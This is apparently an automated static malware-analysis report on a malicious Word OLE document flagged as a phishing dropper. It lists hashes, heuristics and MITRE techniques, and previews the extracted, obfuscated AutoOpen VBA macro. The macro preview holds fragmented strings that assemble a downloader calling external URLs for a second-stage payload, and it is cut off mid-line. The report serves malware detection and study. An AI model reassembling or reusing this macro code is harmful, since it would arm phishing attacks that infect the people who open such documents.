Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b051137a784c2f67…

MALICIOUS

Office (OLE)

307.5 KB Created: 2018-01-04 19:59:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: f07baf1a65be2bfaa40dbc2bbbd6908d SHA-1: 4d53ee9afdbbc6c80a2bbb6bd1a25c6777fa3fc2 SHA-256: b051137a784c2f67be25b55b4ec61362720bb12a909c99da6b967922faa2646b
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a legacy WordBasic AutoOpen macro that utilizes the Shell() function, indicating an attempt to execute external code. This is further supported by ClamAV detecting it as 'Img.Dropper.PhishingLure-6443153-0', suggesting a dropper or phishing lure functionality. The macro's obfuscated nature and the use of Shell() point towards a downloader for a second-stage payload.

Heuristics 8

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 117965 bytes
SHA-256: 93410245678ee5f54091a3a972796938711346d6fa44a8ba368bfc1fd19cc442
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "WtPWwtiz"
Function raWAranpjV()
On Error Resume Next
WLpBjZ = 90 / Sqr(5) + qLjsbzimv / CBool(TJLGoqwAUzt * Sin(461)) * (6739 - 4 / (qdMiTBWusua * qTvKHzRZuli + fiUGHLoH - ChrB(3))) + 90 / Sqr(5) + NUCjtdjPAn / CBool(ijQVvotWiT * Sin(461)) * (6739 - 4 / (EvDCkhQnjFSI * wsdNTkKuzJZ + SzLSSSYDfPHcqt - ChrB(3)))
pEriE = 90 / Sqr(5) + PIYqjpEkwfY / CBool(QHaVPrWFJDm * Sin(461)) * (6739 - 4 / (knjIAaoQqz * YkAsRmBXIwccP + wXGUJTMW - ChrB(3))) + 90 / Sqr(5) + FtFvjWr / CBool(nSSBkOzE * Sin(461)) * (6739 - 4 / (IfdZIKTAD * ivjicCj + zLqRBRrpJwGLIH - ChrB(3)))
MmoFhZDkUH = SNnIGaEhJrZHq + Mid("ulFkJZ0i+Kqc.Split(8rH,8rHKqc+Kqc)'+';pKqc+Kqc3EkKqvzVwUI", 9, 43) + UoXGsWiRnwrP
EjQjBjld = 90 / Sqr(5) + zMHSPXnXCLfCwJ / CBool(HmdDRiFVOntEz * Sin(461)) * (6739 - 4 / (lAWakLhqqKbf * IHmPaurIUwn + RtrsfVSqoRK - ChrB(3))) + 90 / Sqr(5) + cNzGQvTc / CBool(GwNbYTKFZQCj * Sin(461)) * (6739 - 4 / (TRpwLoIonrzinN * lsZfKpLzdQHCIk + BHYdtjQRk - ChrB(3)))
PBzAXc = 90 / Sqr(5) + poLTJXKBJpztP / CBool(LJGiKNvHfHltj * Sin(461)) * (6739 - 4 / (cImkKfvv * ZZsiQAjSFzwaT + mGKvhJEiPqwYAD - ChrB(3))) + 90 / Sqr(5) + jjvPRjIS / CBool(fHzofwjlIIz * Sin(461)) * (6739 - 4 / (zkOmnrKBkrz * FWNBLCTinfP + JPCTHMQsDij - ChrB(3)))
rXMikMW = 90 / Sqr(5) + GJUQUaozrrsrN / CBool(WzvQhJkzT * Sin(461)) * (6739 - 4 / (MEjftTutPbra * wzGCXhSObwPh + EmrjEGqiDPrIG - ChrB(3))) + 90 / Sqr(5) + wzclbvMwRa / CBool(NRBWkGUw * Sin(461)) * (6739 - 4 / (OHBjWkk * sjPtRJV + zMnlcGVRY - ChrB(3)))
VZivL = TzSFQzkFNUh + Mid("Fufazhvvc+KqcarKqc+KqcapKqc+K'+'qcaKqc+KqcsKqc+Kqc Kqc+hlK+hlKKqc= KqchlK+hlK+'+'Kqcp3En'+'sahlK+hlKKqc+KqcdasdKqc+KqhlK+hlKc.nexKqc+Kqct(1Kqc+Kqc,Kqc+Kqc 343Kqc+Kqc245hLwwdHA", 9, 161) + XZJHTLiElADYq
DcnWj = 90 / Sqr(5) + hcdpwQuoHWjIih / CBool(GpVqTUodXoq * Sin(461)) * (6739 - 4 / (XbHYWnOUiYdfWk * SmjukZmJCis + iszGBHWXN - ChrB(3))) + 90 / Sqr(5) + zMVTNsi / CBool(pTjuVqrt * Sin(461)) * (6739 - 4 / (UkREqiX * biSbXANNSoTZ + MubqsYjkX - ChrB(3)))
OdwfS = 90 / Sqr(5) + QEswdVJmDh / CBool(rQQJwdKlC * Sin(461)) * (6739 - 4 / (nlMjjwKwiAHqP * iuraZwcnsLwMJd + pnwljcTfNwZwnV - ChrB(3))) + 90 / Sqr(5) + IAARbEmjLFLA / CBool(BmUnhBsMJFjWO * Sin(461)) * (6739 - 4 / (diAzpRLCv * sBtDEmjV + aibblRlcUzv - ChrB(3)))
MqmfZzoCzf = 90 / Sqr(5) + UoHqqNzFrz / CBool(ZEUVzaQ * Sin(461)) * (6739 - 4 / (hlchblKGbF * DTIqnNvw + iKcGjjj - ChrB(3))) + 90 / Sqr(5) + PwWuQjUm / CBool(HjFfGWzjwlRNj * Sin(461)) * (6739 - 4 / (CiLoXJWz * BwqijPnmoDvGOq + bncZmvSwjn - ChrB(3)))
auLjqJV = OHCCmwvH + Mid("rPnzTFtrqL8A8D+KqcExceKqc+KqcpKqc+KqctiKqc+KqconKqc+Kqc.MesKqc+KqcsaKqc+Kq'+'cgeKqc+'+'Kqc;Kqc+Kqc}}Kqc)-cRepla'+'ce  '+'Kqc8rHKqc,[ChAr'+']39  W48flPCA1kqKSbUw4RZJah", 15, 130) + zjlJQkRTVhDB
wqZIE = 90 / Sqr(5) + uMpIFLHWj / CBool(zqJvfIpIXYOu * Sin(461)) * (6739 - 4 / (kBCOjDorDAuzp * uwaYzst + kSqldnMcWDz - ChrB(3))) + 90 / Sqr(5) + FHDzaSuqvq / CBool(zqEuJwAPB * Sin(461)) * (6739 - 4 / (FRkYvZBibdqwQw * vdzjwDjtDsuYs + fWoziAp - ChrB(3)))
WoNKQI = 90 / Sqr(5) + tjMOBJl / CBool(rUvEwoH * Sin(461)) * (6739 - 4 / (zINsRulMHF * kfcscqzB + NbOFGkKDC - ChrB(3))) + 90 / Sqr(5) + nQjoOnpNlzzz / CBool(vzBZOcTO * Sin(461)) * (6739 - 4 / (npIVuHlhjiKYSw * rNEmdNB + OUSHFKwbiU - ChrB(3)))
ZIrsTmGID = 90 / Sqr(5) + BAJcvHCBmwz / CBool(ESmGrPjftTS * Sin(461)) * (6739 - 4 / (nMTFtmiSmtds * jYFVzoIKmNjv + zGqBlhiYoiozHz - ChrB(3))) + 90 / Sqr(5) + iqLpuWIqbJ / CBool(fJaBwjJwnXckHv * Sin(461)) * (6739 - 4 / (KupRYqoo * wCuBaqPPspB + znjEnKMwCF - ChrB(3)))
mOrYMcpD = YitsLUNYz + Mid("hvizdhpvwiSCUOqdzBjzbDcr'+'HKqc+KqchlK+hlKhKqc+KqctKqc+Kqctp:Kqc+Kqc//wwwKqc+Kqc.venKqc+KqctKqc+Kqc'+'urewitKqc'+'+hlK+hlKKqchvi.com/1cKqc+KqcMbq/Kqc+Kqc,h'+'ttpKqc+Kqc:/Kqc+Kqc/K'+'qc+KqcsiK'+'321QcnI", 23, 172) + GHOSCiDrVXj
RuwzvRUS = 90 / Sqr(5) + crftthbEQPpid / CBool(zhAXjkj * Sin(461)) * (6739 -
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.